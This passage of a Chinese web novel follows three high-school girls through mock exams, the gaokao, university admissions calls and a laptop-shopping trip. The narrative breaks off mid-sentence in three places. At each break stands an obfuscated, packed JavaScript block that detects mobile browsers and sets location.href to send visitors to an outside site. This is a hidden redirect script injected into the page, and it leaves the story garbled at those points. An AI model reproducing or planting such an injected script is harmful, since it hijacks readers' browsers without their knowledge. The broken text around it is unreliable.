老林在高一上学期教过梁清嘉数学，对那个古灵精怪的姑娘印象很深。他也常在食堂看到谢雪凤和那两个女孩二人一起吃饭，在校门口见过梁清树来看妹妹，梁清树还主动跟他打招呼，当时梁清树介绍梁清嘉时直接说的是我妹妹。 谢雪凤有些紧张地说：“林老师，我期末分数降了……” 老林笑了笑，摆摆手，语气轻松：“分数有起伏很正常，别给自己太大压力。你看看你朋友梁清嘉的哥哥，梁清树，记得吧？” 谢雪凤点点头。 老林继续说：“他高三的时候，成绩那也是过山车一样，一会儿高一会儿低，有时候能把老师气死。但你看人家，高考的时候，裸分714，省榜眼！所以啊，一次考试说明不了什么，关键是心态和最后那一下。我相信你没问题的。” 老林用梁清树的例子来宽慰谢雪凤，既接地气又有效。谢雪凤听了，紧绷的神情放松了不少，心中重新充满了力量。 高三下学期的时光，仿佛被压缩了一般，在纷至沓来的试卷、讲评与心态调整中飞逝。三次重要的模拟考试，如同三座里程碑，记录着学子们的冲刺轨迹，也牵动着无数人的心弦。 一模的难度适中，更贴近高考的基本定位。成绩出来，秦语曦和梁清嘉交上了一份令人安心的答卷： 秦语曦：语文142，数学140，英语148，文综254，总分684。 梁清嘉：语文139，数学140，英语148，文综256，总分683。 看到这份成绩，林婉仪、秦国栋、刘敏敏、梁建宏这四位家长悬着的心，总算暂时放了下来。之前那个学期末的“胡闹”似乎真的只是插曲，孩子们在关键的大考上还是靠谱的。老师们也松了口气，这两个顶尖苗子状态回归，是文科冲击清北的最大保障。 而谢雪凤则再次展现了她在理科领域的绝对统治力：语文135，数学150满分，英语145，理综281，高居年级理科第一，领先优势明显。 当叶桂兰和谢建华看到这个分数时，激动得手都有些发抖。这让他们第一次如此真切地感受到，女儿梦想中的清华大学，似乎不再是遥不可及的幻影，而是伸手可触的目标。他们心里隐隐地、不敢大声说出来的期盼——家里要出第一个清华了——开始悄然滋长。 在随后召开的一模成绩分析会上，年级主任翻看成绩册时，注意到了秦语曦和梁清嘉上学期那几次极其“荒谬”的数学成绩，忍不住皱了皱眉。分管高三年级的副校长见状，却只是笑了笑，摆摆手说：“无伤大雅，无伤大雅。年轻人嘛，有点个性正常，关键时刻能稳住就行。你看这次不是很好嘛？” 二模的来临，如同一声惊雷。试卷难度陡然提升，出现了大量超纲和竞赛思维性质的题目，意图很明显：给这些尖子生一次“下马威”，压压他们的骄气，锻炼应对困境的能力。 成绩出来，果然一片“哀鸿遍野”。 秦语曦：语文135，数学130，英语148，文综240。 梁清嘉：语文132，数学135，英语148，文综242。 虽然分数相比一模下降明显，但考虑到试卷难度，这个排名依然保持在非常靠前的位置。然而，看着下降的分数，秦国栋、林婉仪内心难免泛起焦虑。尽管有梁清树这个现成的例子在前，但事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老林这番安慰有理有据，还举了鲜活的例子。叶桂兰和谢建华听后，脸色缓和了许多，连连道谢。只是老林在说完梁清树的例子后，下意识地揉了揉太阳穴，仿佛又想起了当年被那个“控分天才”支配的“恐惧”，那后遗症隐隐作痛。 在二模分析会上，副校长看着成绩统计表，特别是英语单科成绩，露出了意味深长的笑容：“这次‘下马威’可以啊……不过，秦语曦和梁清嘉的英语非常稳，都是148分，并列文理科总榜的英语单科第一，还拉了第二名五分！” 他转向年级主任和老杨，下达了“军令状”：“这两位同学，是我们冲击省英语单科状元的最有力竞争者！今年，我们能不能从附外手里把英语单科状元抢过来，就看她们的了！她们能一直保持这个水平，省状元就是她们的！老杨，你想办法，务必稳住这两个女孩的状态，但也别给太大压力，弦绷太紧容易断。” 接着，他又看向老林：“另外，谢雪凤的英语137，还有提升空间，想办法帮她提到145分以上并保持住，这样她冲击省理科状元就更有把握了！同时，你盯紧理科实验班前五名，尤其是压轴题的书写规范性和完整性，今年务必把省理科状元给我拿回来！”副校长的语气充满了决心，最后的冲刺阶段，学校的期望和目标都非常明确。 有了二模的“挫折教育”，三模的试卷难度回归了高考的正常水平。成绩公布，一切如预期般回到了正轨： 秦语曦：语文140，数学140，英语148，文综256，总分684。 梁清嘉：语文137，数学150，英语148，文综252。 谢雪凤：语文137，数学148，英语147，理综283。 这份成绩单，让所有人悬着的心都彻底落回了肚子里。它证明，二模的失利仅仅是难度冲击下的暂时波动，孩子们的基本盘依然牢固，甚至经过锤炼后更加稳定。 星期五放学，梁建宏和刘敏敏、秦国栋和林婉仪直接开车到校门口，接上秦语曦和梁清嘉，直奔一家她们喜欢的餐厅。 饭桌上，没有了之前对成绩的担忧，取而代之的是轻松的闲聊和对未来的鼓励。家长们用这种方式，表达对孩子的肯定和支持，帮助她们以最佳心态迎接最后的挑战。 而叶桂兰和谢建华则使出了浑身解数，做了一桌前所未有的丰盛菜肴，有鱼有肉，还有谢雪凤平时舍不得买的水果。他们用最朴实的方式，迎接女儿的“凯旋”，无声地告诉她：“孩子，你是我们的骄傲，无论结果如何，我们都支持你。” 24. 24 六月的G市，空气湿热，蝉鸣鼓噪，仿佛在为一场盛大的告别与启程奏响序曲。对于师大附中高三的学子而言，时间的流逝突然变得具象化，每一天都像是在倒计时的钟摆上重重敲击。 6月3日的晚自习，是高三学生在附中的最后一个夜晚。学校精心组织了一场名为“高考送行”的仪式，没有隆重的集会，却充满了独属于青春的温度。 整栋圆梦楼，气氛热烈而略带感伤。不知是谁先起的头，学生们将三年来积攒的、写满密密麻麻笔记和演算过程的试卷、练习册搬了出来。 随着一声欢呼，雪白的纸片被奋力撕开，化作漫天飞舞的蝴蝶。谢雪凤也站在人群中，平时沉静的脸上带着一种释然的微笑，她将一张张承载了无数个日夜汗水的试卷撕碎，用力抛向空中。碎片掠过她的脸颊，带着油墨和汗水混合的熟悉气味，这一刻，所有的压力、疲惫似乎都随之飘散。 这些纸片，是青春的注脚，是奋斗的见证，而今夜，它们以最壮烈的方式，告别过去，预示着新生。 6月4日，真正意义上的最后一天课。没有新课，没有习题，只有告别。 有的老师分享起自己的大学生活，描绘着自由、广阔的图景，为学生们勾勒出未来的美好蓝图；有的老师回顾起三年来的点滴，从高一入学时的青涩到如今的成熟，言语中满是感慨与不舍；还有的老师，比如老杨和老林，只是安静地坐在讲台上，目光缓缓扫过台下每一张熟悉的脸庞，仿佛要将他们的样子刻在心里，而学生们则低头看着书，或默默整理笔记，教室里弥漫着一种无声的、深厚的师生情谊。 最后一节课的下课铃声响起，比以往任何时候都显得悠长而清晰。没有往常的喧嚣，大家默默地开始行动——布置高考考场。清空书桌，贴上考号，擦拭黑板……秦语曦和梁清嘉合力把教室打扫得干干净净。忙完后，两人在空荡的教室裏，背对着写满祝福语的黑板，用手机拍下了一张合影。秦语曦看着窗外熟悉的“圆梦楼”牌子，笑着说：“附中圆梦楼，一跳解千愁啊。” 梁清嘉揽着她的肩膀，笑嘻嘻地纠正：“跳什么跳！不用跳，等到8号下午五点，自然就‘解千愁’啦！”笑声在空旷的教室里回荡，冲淡了离别的愁绪。 5号、6号，考生在家自主复习。秦宇晨和梁清树这两位“专家级”兄长自然是全程监督。但他们没有施加压力，更多的是陪伴和疏导，帮妹妹们梳理核心知识点，调整作息，缓解紧张情绪。 林婉仪、秦国栋和梁建宏、刘敏敏更是请了三天假，并在距离附中仅三百多米的酒店订了房间。这既能让孩子多睡一会儿，避免交通拥堵，也能让她们考完一科后立刻得到休息，可谓用心良苦。 6号下午，秦语曦和梁清嘉去学校看考场。巧合的是，两人都在“圆梦楼”考试，梁清嘉在四楼，秦语曦在二楼。 更巧的是，梁清嘉的考场，竟然就是当年她哥哥梁清树参加高考的同一间教室！刘敏敏看着考场分布图，忍不住笑了，对梁建宏说：“真是缘分啊，一个教室，见证了我们家两个娃的青春。” 梁清树的座位在讲台前，而梁清嘉的座位则在教室最中央，仿佛是一种奇妙的传承。 7号清晨七点半，秦语曦和梁清嘉就被温柔地叫醒。酒店房间里，早餐已经备好。洗漱、用餐、最后一次检查准考证、身份证和文具，一切井然有序。八点刚过，四位家长亲自将姐妹俩送到附中门口。 校门口已是人山人海，家长们眼中充满了期待与鼓励。八点半，随着入场铃声，秦语曦和梁清嘉相视一笑，转身汇入考生人流，奔赴人生中最重要的战场。 第一科语文是她们的强项，考完后两人脸上都带着轻松的笑容，无疑开了个好头。中午，秦宇晨和梁清树特意赶来看望，陪她们简单翻了翻数学公式，更多的是哄她们安心睡个午觉。看着妹妹们熟睡后，两人才悄悄离开回去上班。下午数学考完，虽有挑战，但心态平稳。晚上，两家人加上秦宇晨、梁清树一起吃了顿丰盛又清淡的晚餐，不谈考试，只聊闲天，氛围轻松。 8号下午，当最后一科结束的铃声响起，交卷、出场，压抑了许久的情绪瞬间释放！秦语曦和梁清嘉像两只快乐的小鸟，欢呼着冲出考场，一眼就找到了在人群中翘首以盼的父母，冲上去给了大大的熊抱！“解放啦！终于解放了！哈哈哈哈！”清脆的笑声和激动的呼喊，是对十二年寒窗最畅快淋漓的告别。 经过半个多月的焦灼等待，6月24日零点，高考成绩查询通道开启。 梁建宏、刘敏敏和秦国栋、林婉仪几乎是掐着秒表，在第一时间输入了女儿的信息。页面跳转——“恭喜您成为高考屏蔽生”！这意味着成绩进入全省最顶尖行列！巨大的喜悦瞬间淹没了四位家长，他们激动地互相道贺，眼眶湿润。 然而，两位当事人呢？秦语曦和梁清嘉正各自窝在自己的房间里，戴着耳机，在全神贯注地“双排”打王者荣耀，沉浸在虚拟世界的厮杀中，完全把查分这事抛在了脑后。对她们而言，考完即解放，结果已然注定，不如享受当下。 另一边，谢雪凤也查到了自己是理科屏蔽生，巨大的喜悦让她第一时间想和好友分享。她打电话给秦语曦，想问问她考得怎么样，也分享自己的快乐。电话响了很久才接通，背景音是激烈的游戏音效和秦语曦心不在焉的声音：“喂？雪凤啊？啊……怎么了？我在打游戏呢……哦哦，成绩啊，我还没查呢……恭喜你啊！等我打完这局再说哈！” 谢雪凤听着电话里的忙音，拿着自己优异的成绩单，一时间有些哭笑不得。 25号中午十二点，班主任老杨按照学校要求，开始在群里收集大家的准确高考分数。谢雪凤第一时间给老林发去了自己的成绩——语文136，数学150，英语148，理综282，总分714分。 老杨@了秦语曦和梁清嘉好几遍，都石沉大海，电话也无人接听。老杨急得像热锅上的蚂蚁，这两个宝贝疙瘩，关键时刻玩失踪！最后无可奈何，她只好分别打电话给刘敏敏和林婉仪。 两位妈妈这才无奈地笑着告诉老师，女儿们因为昨晚通宵打游戏，现在还在补觉，手机静音了。她们查询了系统里的详细成绩，告知老杨： 秦语曦：总分687分。语文141分，数学145分，英语147分，文综254分。 梁清嘉：总分686分。语文141分，数学142分，英语148分，文综255分。 老杨记录下这耀眼的成绩，长长地舒了一口气，脸上露出了欣慰而又无奈的笑容。 招生办老师的电话很快就来了。 谢雪凤刚帮母亲收拾完碗筷，电话就响了。来电显示是北京的号码，她心有所感，深吸一口气，接了起来。 “喂，您好？” “您好，是谢雪凤同学吗？恭喜你取得优异成绩！这里是清华大学招生办公室……”电话那头传来热情而清晰的声音。 谢雪凤的心跳陡然加速，她尽量保持镇定：“您好，我是谢雪凤。谢谢老师。” 接下来的通话，更像是一场高效的专业咨询。谢雪凤目标非常明确，她详细询问了清华大学计算机科学与技术和电子信息科学与技术这两个王牌专业的课程设置、师资力量、科研平台、未来发展方向以及往年的录取分数线。她的问题具体而深入，显示出她早已做过大量功课。招生办的老师对她的清晰思路和强烈兴趣表示赞赏，给予了非常详尽和积极的解答。 刚挂断清华的电话不到五分钟，手机又响了起来，这次是北京大学的号码。 “谢雪凤同学你好，恭喜！这里是北京大学招生办……” 面对北大的热情，谢雪凤同样礼貌而专注。她重点询问了北大计算机科学技术专业的情况，与清华的进行对比。北大老师也极力推介本校的优势。 两个电话接完，谢雪凤坐在窗前，陷入了短暂的沉思。清华的工科传统、强大的科研实力和那个她向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484424|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往已久的“计算机”专业名称，似乎更具吸引力。而北大综合性的氛围和计算机科学技术的实力也同样顶尖。 权衡片刻，那个深埋心底、支撑她走过无数个苦读夜晚的目标清晰地浮现出来。她拿起笔，在笔记本上工整地写下了自己的决定：清华大学，计算机科学与技术专业。 然后，她将这个决定平静地告诉了父母。叶桂兰和谢建华虽然对具体专业不甚了解，但听到“清华大学”四个字，已经激动得不知如何是好，只是连连说“你定，你定！” 与谢雪凤的主动出击不同，秦语曦还在睡梦中弥补前一夜与梁清嘉“激战”到凌晨的困倦。北大招生办的电话打来时，她的手机在床头柜上嗡嗡震动，却没能唤醒它的主人。 恰好林婉仪拿着几件洗好叠好的衣服走进女儿房间，听到电话铃声，看到屏幕上显示的“北京”字样，立刻明白了过来。她轻轻拿起手机，走到客厅阳台，才按下接听键。 “喂，您好？” “您好，请问是秦语曦同学吗？恭喜！这里是北京大学招生办公室……” 林婉仪优雅地回应：“您好，我是秦语曦的母亲。不好意思，曦曦昨晚没休息好，还在睡觉。有什么事情我可以先代为转达吗？” “语曦妈妈您好！恭喜您女儿取得如此优异的成绩！我们想跟秦语曦同学沟通一下专业志愿的问题……” 林婉仪深知秦语曦对财经、管理、法律这类学科更感兴趣，于是她像一个专业的咨询顾问，开始向北大招生办的老师详细询问光华管理学院的金融、经济学方向，以及法学院的详细情况。她一边问，一边从茶几抽屉里拿出便签本和笔，认真地记录下关键信息，比如核心课程、国际交流机会、就业前景等。 刚结束与北大的通话，手机还没放下，清华招生办的电话也打了进来。林婉仪同样从容应对，向清华的老师详细了解了经济管理学院和法学院的专业特色和优势，并与刚才记录的北大信息进行初步对比。 等秦语曦睡眼惺忪地揉着眼睛走出卧室时，林婉仪已经结束了“外交谈判”，正坐在沙发上整理笔记。 “妈妈，几点了……”秦语曦打着哈欠。 “快中午了，小懒虫。”林婉仪笑着把那张写得密密麻麻的便签纸递给女儿，“北大和清华招生办都来电话了，我帮你问了问经管和法学的情况。你自己好好看看，考虑一下想选哪个。” 秦语曦接过纸条，看着林婉仪娟秀的字迹和条理清晰的记录，心里暖洋洋的，撒娇地搂住林婉仪的胳膊：“谢谢妈妈！你最好啦！” 梁清嘉的情况与秦语曦如出一辙。她也沉浸在补觉中，不同的是，她的手机被她随意丢在了客厅沙发上，因为她昨晚是用平板电脑打的游戏。 电话铃声响起时，正在客厅看新闻的梁清树顺手拿了起来，看到是北京号码，会心一笑，接听了。 “喂，梁清嘉同学吗？恭喜你！这里是北京大学……” 梁清树语气带着笑意：“您好，我是梁清嘉的哥哥梁清树。我妹妹还在休息，有什么事我可以转告。” “梁先生您好！恭喜恭喜！我们想和梁清嘉同学聊聊专业选择……” “嗯，她比较倾向于商科或者法学，麻烦您重点介绍一下这两个方面。”梁清树对妹妹的兴趣了如指掌，直接切入主题。 他一边听，一边用手机备忘录记录关键点，偶尔还会追问一些细节。 紧接着清华打来电话，梁清树同样应对自如，将清华经管和法学院的情况也摸了个底掉。 当梁清嘉终于舍得离开被窝，晃悠到客厅找水喝时，梁清树把手机递还给她，顺便亮出自己的手机备忘录：“北大和清华的‘战报’。商科和法学的详细对比，我都给你打听清楚了，请陛下过目。” 梁清嘉凑过去看了看，笑嘻嘻地拍了下梁清树的肩膀：“可以啊哥！够专业！谢啦！”然后拿起水杯，一边喝水一边认真浏览起来，开始在心里权衡。 25. 25. 夜幕低垂，华灯初上。报志愿系统开放前夜，G市被一种无形的紧张感笼罩。无数家庭灯火通明，父母与子女围坐一起，对着厚厚的招生指南和闪烁的电脑屏幕，进行着可能影响未来数年乃至数十年的艰难抉择。 在城中村那间终年难见充足阳光的平房里，谢雪凤对着那台陪伴了她整个高中、此刻却屏幕漆黑、彻底“罢工”的老旧台式电脑，眉头紧锁。她反复按下开机键，主机箱里只传来一阵无力的风扇嗡鸣，随即归于沉寂。 明天，是决定命运的时刻，任何差错都可能造成无法挽回的遗憾。她深吸一口气，走到屋外稍显安静的角落，手指在手机通讯录上滑动，最终停留在“秦语曦”的名字上。犹豫再三，她还是按下了拨号键。电话接通瞬间，听筒里率先涌出的是激昂的游戏背景音和梁清嘉清晰嘹亮的喊声：“语曦快闪开！对面刺客切后了！” “语曦……”谢雪凤的声音不自觉地放轻，带着一丝不易察觉的恳求，“不好意思打扰你玩游戏了……我家电脑，彻底坏了……明天，明天能借用一下你们家的电脑报志愿吗？” 电话那头，秦语曦正深陷王者峡谷的团战，回答得又快又随意，注意力显然大半在游戏上：“啊？哦！行啊，没问题！明天你直接过来就行，我家电脑多着呢！” 她的语气轻松得像是在答应借一支笔。 谢雪凤松了口气，但想到母亲叶桂兰之前的欲言又止——母亲似乎想亲眼见证女儿填报志愿这个重要时刻——她又鼓起勇气，声音更低了：“那个……我妈妈……她不放心，想跟我一起去……可以吗？” “可以可以！一起来呗！人多热闹！”秦语曦几乎是立刻回应，背景音里传来游戏角色阵亡的音效和她懊恼的“哎呀”声，“先不说了清嘉等我复活！明天见啊雪凤！” 通话被匆匆挂断。 谢雪凤握着手机，心里一块石头落了地，却又因打扰了朋友玩乐而泛起一丝歉疚。她并不知道，电话那头的场景与她想象的截然不同。 秦语曦家的客厅里，灯火通明。她本人正毫无形象地瘫倒在宽大的软绒沙发里，双腿翘在扶手上，指尖在手机屏幕上飞舞。她的手机设置了游戏时通话自动免提，且音量习惯性调到最大，此刻客厅里没有电视节目的干扰，游戏音效和刚才的对话内容显得格外清晰。 在侧面的单人沙发上，林婉仪正戴着金丝边眼镜，用iPad Pro审阅着一份复杂的并购案报表。当谢雪凤小心翼翼的声音透过免提传来时，她滑动屏幕的手指有瞬间几不可察的停顿，目光从屏幕上抬起，掠过躺在沙发上的女儿，眼神里闪过一丝了然的微光，但很快又恢复平静，继续专注于她的报表，仿佛只是听到了一句寻常的问候。 餐厅区域，刚结束加班、脸上带着倦意的秦宇晨正坐在餐桌前吃晚餐。他舀起一勺汤，刚要送入口中，便听到了谢雪凤关于母亲同行的询问。 他动作微滞，抬眼看向沙发上浑然不觉、仍在指挥“推塔”的妹妹，镜片后的目光深邃，随即若无其事地继续用餐，没有发表任何评论。 秦国栋远在上海参加一个重要峰会，这个家的夜晚，由一种默契的宁静维系着。 深知秦语曦昼伏夜出的作息，谢雪凤和母亲叶桂兰特意选择了中午出发。她们挤上人潮汹涌的公交车，辗转一个多小时，临近十一点半，才终于站在了那个宛若都市桃源的高档小区门口。 叶桂兰仰头望着气派的门廊和内部葱茏的绿化，脚步不由得放缓。参天的香樟、精致的园艺小品、蜿蜒的景观水系，以及身着笔挺制服、礼貌询问的保安，都让她感到一种无形的压力。她下意识地攥紧了手中洗得发白的布包带子。 “妈，这边走，从地下车库穿过去近。”谢雪凤轻声说。她记得有一次秦语曦带她抄过这条近路。母女俩走进凉爽昏暗的地下车库，里面停放着各式各样的私家车，光洁如镜的地面映出她们的身影。 正当她们走向三栋的电梯厅时，旁边一辆白色宝马3系的车灯闪烁了一下，驾驶座车门打开，一个熟悉的身影走了出来——是梁清树。 他穿着一件略显褶皱的浅蓝色衬衫，领口松开了两颗纽扣，脸上带着明显的疲惫，镜片后的双眼布满了红血丝，显然是熬夜加班的模样。 他一边快步走向电梯，一边用流利但语速极快的英语对着蓝牙耳机说着什么，似乎在讨论一个技术方案的漏洞，神情专注，完全没有注意到不远处的谢雪凤。 叶桂兰看着这个年轻人家境优渥、学历顶尖，却依然要如此辛苦奔波，联想到自己那个躺平在家啃老的儿子，心中原本因贫富差距而产生的强烈酸涩，竟莫名地被一种“众生皆苦”的平衡感冲淡了些许。她轻轻叹了口气。 乘坐电梯上楼，按下门铃。开门的正是林婉仪，她已换上一身质地柔软的藕粉色家居服，笑容温婉：“雪凤，阿姨，快请进，外面热吧？” 踏进玄关，叶桂兰的目光便被这个家吸引。开阔的客厅，简约而富有质感的意式家具，巨大的落地窗外是郁郁葱葱的城市绿景。 她暗自估摸，这房子起码有三百平米。尤其那个开放式厨房，中岛台加上整套嵌入式厨电，空间宽敞得让她咋舌，对比自家转身都困难的狭小厨房，简直是天壤之别。 客厅的茶几上，随意放着一副细黑框眼镜、一副银色细框眼镜，几包打开的薯片。沙发上，一台笔记本电脑，三台iPad，其中一台深空灰的贴着库洛米和玉桂狗的贴纸，旁边还随意搭着一条柔软的拉绒薄毯，充满了随意而富足的生活气息。 林婉仪示意她们在沙发上坐下，端来温水和切好的果盘。然后她走到一扇紧闭的房门前，轻敲两下便推门而入：“宇晨，醒醒，雪凤来用电脑报志愿，密码告诉我一下。” 房间里传来秦宇晨带着浓重睡意的嘟囔：“嗯……0526……QYC……” 林婉仪出来，熟练地打开那台MacBook，输入密码，界面亮起。她对谢雪凤温和地说：“雪凤，你用这台，系统应该都装好了。” 叶桂兰看着那台线条流畅、标志发光的电脑，再想到自家那台彻底报废的“大脑袋”显示器，心里暗暗发誓：无论如何，等雪凤上大学，一定要给她买一台像样的笔记本电脑，绝不能让她在起跑线上就输了装备。 谢雪凤开始专注地操作电脑，登录系统，确认早已想好的志愿——清华大学，计算机科学与技术。她的动作熟练而坚定。 就在这时，主卧室门开了。秦语曦顶着一头睡乱的呆毛，穿着那件挑衅味十足的“竖中指猫”睡衣，揉着眼睛晃了出来。 她迷迷糊糊地走到厨房冰箱倒了杯冰水，一口气喝完，才仿佛清醒了些。从茶几上拿起自己的银色细框眼镜戴上，然后窝进沙发里，抓起贴着卡通贴纸的iPad，开始刷社交媒体。 “曦曦，别光玩了，趁雪凤在用电脑，你也把志愿报了吧。”林婉仪提醒道。 “哦。”秦语曦应了一声，手指在iPad上点了几下，很快就把账号密码发到了林婉仪的微信上。 林婉仪看着女儿发来的信息，沉吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这时，秦宇晨也洗漱完毕，穿着简单的白T和灰色运动裤走了出来，头发还有些湿漉漉的。他在秦语曦身边坐下，看到妹妹因为排骨被移开而微微嘟嘴，便自然地夹了一筷子西兰花放到她碗里，语气带着关切：“别光盯着肉，吃点蔬菜，膳食均衡。” 秦语曦小声“哼”了一下，但还是乖乖地把蔬菜吃了。林婉仪笑着对叶桂兰说：“你看这孩子，就得多说她。” 这顿饭，对谢雪凤和叶桂兰而言，味道鲜美，却吃得百感交集。她们感受到了尊重和温暖，也更深刻地体会到了阶层的差异。 叶桂兰看着对面气质出众、学业有成、对妹妹照顾有加的秦宇晨，再想到自家那个游手好闲、指望不上的儿子，心里像被针扎一样刺痛。 饭后，稍坐片刻，谢雪凤和叶桂兰便起身告辞。林婉仪和秦宇晨将她们送到电梯口。 回程的公交车上，拥挤而闷热。叶桂兰望着窗外飞速倒退的繁华街景，终于忍不住，对身边的女儿叹息道：“凤儿，你看人家……再看看你弟弟和他那个女朋友，真是……唉……” 谢雪凤握住母亲粗糙的手，那双手因常年劳作而布满薄茧。她目光坚定地看着前方，轻声而有力地说：“妈，别想他们了。你们顾好自己就行。等我大学毕业，一切都会好起来的。” 叶桂兰看着女儿清瘦却坚毅的侧脸，重重地点了点头，将眼中的酸涩逼了回去。女儿的志愿已经落定，通往顶尖学府的道路就在眼前，这是这个家庭未来最大的希望。 而今天在秦语曦家的所见所感，像一幅对比强烈的画卷，深深烙印在叶桂兰的记忆里，既有温暖，也有刺痛，更催生出一股无论如何都要支持女儿走下去的决心。 26. 26 第二天，叶桂兰攥着那个装着她和丈夫省吃俭用、加上大女儿谢雪琳寄回来的一部分钱的信封，手心微微出汗。信封里的厚度，是她为小女儿谢雪凤准备的“大学装备基金”。她知道学计算机需要一台好电脑，这是投资的必需品，不能省。 母女俩走进冷气充足的的大型购物中心，直奔三楼的数码区。琳琅满目的电子产品和闪烁的屏幕让人眼花缭乱。各种品牌的Logo争奇斗艳，空气中弥漫着新电子产品特有的、略带塑料和金属的气息。叶桂兰有些局促，目光在各个专卖店间游移，最终走向了看起来规模较大的华硕专区。 刚走进专区，叶桂兰的脚步就不自觉地顿住了。她看到了两个熟悉的身影——秦宇晨和秦语曦正站在一台外观炫酷、屏幕巨大的笔记本电脑前。秦宇晨穿着简单的白色POLO衫和卡其色休闲裤，身姿挺拔，正微微俯身看着屏幕。秦语曦则是一身清爽的T恤短裤，嘴里叼着根棒棒糖，手指随意地划过电脑的金属外壳。 视线稍稍偏移，叶桂兰又看到了在前台结账的梁清树和梁清嘉。梁清树依旧是那副略带疲惫但难掩帅气的模样，正从皮夹里抽出一张黑色的信用卡递给店员。 梁清嘉则开心地抱着一个印有华硕Logo的崭新电脑包，脸上是明媚的笑容。叶桂兰听到梁清嘉对哥哥说：“哥，省下来的这五百块，够我买两条新裙子啦！” 梁清树宠溺地揉了揉她的头发：“就你精打细算。” 谢雪凤眯起眼睛，看清了梁清嘉怀里那台电脑的型号标签，以及旁边展台上同款机型的价签——?10,999。她的心猛地一跳，不自觉地微微颤抖了一下。目光再转向秦语曦那边，他们正在看的那台银色超薄本，价格同样令人咋舌：?12,800。这个数字，几乎相当于她家小半年的生活费。 这时，她听到秦宇晨温和地对妹妹说：“曦宝，这台性能不错，散热也好，你看这台黑色的怎么样？” 秦语曦嘟了嘟嘴，嫌弃地说：“不要黑色，太沉闷了，换个银色的嘛。” 秦宇晨好脾气地笑了笑，转向旁边耐心等待的导购小哥：“麻烦您，拿一台同配置的银色款给我们看看。” 导购小哥连忙点头：“好的先生，请稍等，我这就去仓库取。” 不一会儿，银色款的电脑拿来，秦语曦试了试键盘，满意地点点头。秦宇晨便径直走向前台刷卡买单，动作流畅自然，没有一丝犹豫。秦语曦则开心地接过了装着新电脑的袋子。 梁清树和梁清嘉这时也注意到了站在不远处的叶桂兰和谢雪凤。梁清嘉性格开朗，立刻笑着挥手打招呼：“阿姨！雪凤！好巧呀，你们也来买电脑吗？” 叶桂兰有些拘谨地笑了笑：“是啊，嘉嘉，你们买好了？” “嗯嗯！”梁清嘉晃了晃手里的电脑包，“我哥给我买的！” 梁清树也礼貌地点头致意：“阿姨，雪凤。”他听到叶桂兰正小声和谢雪凤商量：“凤儿，妈是想着，是直接给你买台好的游戏本，能用到你研究生毕业，还是先买个轻薄本凑合着用，等你考上研究生再换好的？” 谢雪凤冷静地回答：“妈，不用那么好的，游戏本太重了，我买个轻薄本就够用了。” 梁清树闻言，插话道：“阿姨，雪凤说得对。现在好的轻薄本性能也很强，足够支撑本科学习，甚至读到研究生都没问题。关键是轻便，适合女生带着去图书馆、教室。” 这时，秦宇晨和秦语曦也结完账走了过来。秦宇晨听到了后半截对话，他目光扫过华硕专区内的机型，然后指向另一侧展台上一台设计简约、看起来轻薄不少的笔记本，对叶桂兰说：“阿姨，那台也不错，是今年新款的主流轻薄本，性价比很高，应该能满足雪凤的学习需求。”他指的那台标签价格是?5,699。 叶桂兰顺着秦宇晨指的方向看去，价格确实亲民了许多，她心里松了口气，脸上露出感激的笑容：“哎，好，谢谢宇晨啊。”她转向店员：“姑娘，麻烦拿一下这台……要顶配的。” 店员小姐姐热情地拿来电脑，开机演示。叶桂兰仔细看了看，又问了问保修政策，觉得确实合适，便决定买下。在她准备付钱的时候，秦宇晨四人因为已经买完，便礼貌地打了声招呼先离开了。 刚走出华硕专区大门，秦宇晨的手机就响了起来。他看了一眼来电显示，立刻接听，语气瞬间变得专业而沉稳，流利悦耳的英式英语脱口而出 谢雪凤下意识地抬头望去，看着秦宇晨一边讲电话一边快步走向电梯的背影，又想起上次在地库见到梁清树时，他也是用类似的英式英语在沟通工作。一种无形的差距感再次袭来。她默默地想：上了大学，一定要拼命练习英语口语，不能在这方面落后。 回家的公交车上，车厢闷热而拥挤。叶桂兰却因为终于为女儿办成了一件大事而心情舒畅了许多。她看着窗外掠过的繁华街景，脑海里回放着刚才秦宇晨和梁清树毫不犹豫刷卡的情景，心中不禁对女儿的未来充满了期待：“雪凤，你看秦家哥哥和梁家哥哥，刚研究生毕业一年，就能这么轻松地给妹妹买上万块的电脑了。你以后研究生毕业，肯定也能挣大钱。”她的脸上浮现出憧憬的笑容。 谢雪凤靠在窗边，听着母亲的话，心里却异常清醒和冷静。她轻轻“嗯”了一声，没有多说什么。她知道，母亲看到的只是光鲜的结果，却未必了解他们背后的家庭资源、教育积累以及起点的高度。 秦语曦和梁清嘉从一出生就拥有的东西，谢雪凤可能需要付出极大的努力，甚至终其一生，也未必能够完全企及。 谢雪凤的终点，或许真的只是她们的起点。但这种清醒并没有让她沮丧，反而更加激发了她内心那股不服输的劲头——即使起点不同，她也要用自己的方式，奋力奔向那个更广阔的世界。她握紧了母亲的手，目光投向窗外不断向后飞逝的街景，眼神坚定而执着。 八月的阳光依旧炽烈，但对于秦语曦和梁清嘉而言，这个夏天的尾声充满了告别与启程的复杂滋味。十二年寒窗苦读，终于迎来了奔赴梦想学府的时刻。 8月16日，两家人正式开始了忙碌的行前准备。 